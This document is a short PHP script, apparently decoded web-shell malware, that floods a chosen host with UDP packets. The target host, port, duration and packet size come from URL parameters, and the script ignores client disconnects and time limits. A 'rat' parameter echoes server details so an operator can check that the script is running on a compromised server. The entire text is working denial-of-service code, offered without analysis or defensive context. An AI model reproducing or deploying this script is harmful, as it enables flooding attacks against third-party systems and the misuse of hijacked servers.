PHP Decode

<?  set_time_limit(999999); 
$host = $_GET['host']; 
$port = $_GET['port']; 
$exec_time = $_GET['time']; 
$Sendlen = $_GET['len']; 
ignore_user_abort(True); 
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0) 
{ 
	if (StrLen($_GET['rat'])<>0) 
	{ 
		echo php_uname(); 
		exit; 
	} 
	exit; 
} 
 
for($i=0; $i < $Sendlen; $i++) 
{ 
	$out .= "A"; 
} 
 
$max_time = time() + $exec_time; 
while(1) 
{ 
    if(time() > $max_time) 
	{ 
        break; 
    } 
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 
    if($fp) 
	{ 
		fwrite($fp, $out); 
		fclose($fp); 
    } 
} 
 ?>